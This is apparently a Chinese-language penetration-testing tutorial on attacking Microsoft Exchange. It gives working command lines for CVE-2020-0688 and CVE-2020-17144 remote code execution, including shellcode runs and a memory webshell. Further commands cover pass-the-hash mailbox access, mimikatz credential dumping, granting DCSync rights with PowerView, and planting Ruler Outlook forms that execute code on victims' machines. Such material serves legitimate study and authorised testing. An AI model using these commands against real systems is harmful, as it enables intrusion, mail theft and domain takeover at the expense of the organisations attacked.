渗透测试中的Exchange( 三 )


检测
ExchangeDetect <target> <user> <pass>利用
ExchangeCmd <target> <user> <pass>sub commands:exec <cmd> [args]exec commandarchget remote process architecture(for shellcode)shellcode <shellcode.bin>run shellcodeexitexit program他的检测逻辑是在返回的头部加个信息
Headers["X-ZCG-TEST"]=="CVE-2020-0688"不排除某些网络设备会检测这个,可根据需求自行修改
另外有个需要注意的点,如果在域内,<target>填邮箱域名(mail.xxx.com)检测不出来,可以先通过LDAP查询每台Exchange服务器,然后一台台试试,说不定有收获.
另外一个需要注意的点,执行命令的时候最好带上cmd /c
CVE-2020-17144需要普通用户凭据的情况下的RCE,就Exchange2010能用
https://github.com/Airboi/CVE-2020-17144-EXP
https://github.com/zcgonvh/CVE-2020-17144
CVE-2020-17144 <target> <user> <pass>执行完之后会有个内存马,访问
http://[target]/ews/soap/?pass=命令

渗透测试中的Exchange

文章插图
 
头像哥的这个工具有个地方需要注意的是,他默认监听的是80端口的,咱们访问EWS接口一般用443,就以为没打成功,实际成功了.
渗透测试中的Exchange

文章插图
 
0x05 hash/密码 操作ews接口可以使用现成工具
1. pth_to_ewshttps://github.com/pentest-tools-public/Pass-to-hash-EWS
保存在目录下的inbox文件夹中为eml格式
pth_to_ews.exe https://MAIL/ews/exchange.asmx-U daiker -P 密码-MType Inbox发送邮件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Sendmail -T "123" -TM zhangjiawei1@Liton-Lab.com -B HTML.txt搜索邮件内容含有ACL的邮件
pth_to_ews.exe https://MAIL/ews/exchange.asmx-U daiker -P 密码 -MType SentItems -Filterstring "ACL" 搜索ACL如果有自己研发的需求,见3好学生的Exchange Web Service(EWS)开发指南
 
0x06 Exchange 在域内的位置1. 域内定位Exchange服务器在域内可以使用ldap定位,过滤规则
"(objectCategory=msExchExchangeServer)"可以通过spn 来定位
setspn -Q IMAP/*2. Exchange内部的域管凭据拿到Exchange服务器,有很大概率就是域管直接登录的.或者域管曾经登录过.拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限.如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户.而且就算是高版本的server,在Exchange上也能抓到明文密码.
3. Exchange的ACL所有的Exchange Server 都在Exchange Windows Permissions组里面,而这个组默认就对域有WriteACL权限,那么当我们拿下Exchange服务器的时候,就可以尝试使用WriteACL赋予自身Dcsync的权限.
使用powerview,为当前exchange机器名用户增加dcsync权限(此处需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"由于这个权限,Exchange 的RCE常用以在内网渗透中用来提升到域管权限.
因此在CVE-2019-1040中,除了可以攻击DC,也有人选择攻击Exchange.
 
0x07 攻击 OutLook客户端前提条件:
  1. 需要用户凭据
  2. 该用户电脑装了Oulook客户端,用outlook查看邮件的时候触发.
攻击效果
通过Outlook客户端控制用户电脑
有三种方式 Form,ruler,HomePage.
1. FormRuler
formruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form displayruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form add --suffix superduper --input C:UserstomDesktopoutputcommand.txt --rule --sendcommand.txt 里面的内容是CreateObject("Wscript.Shell").Run "calc.exe", 0, False触发 ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debugform send --target daiker@Liton-Lab.com --suffix superduper --subject "Hi Koos" --body "Hi Koos,nJust checking in."删除ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml--email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debugformdelete --suffix superduperKB4011091 于 2017年9月的更新中修复


推荐阅读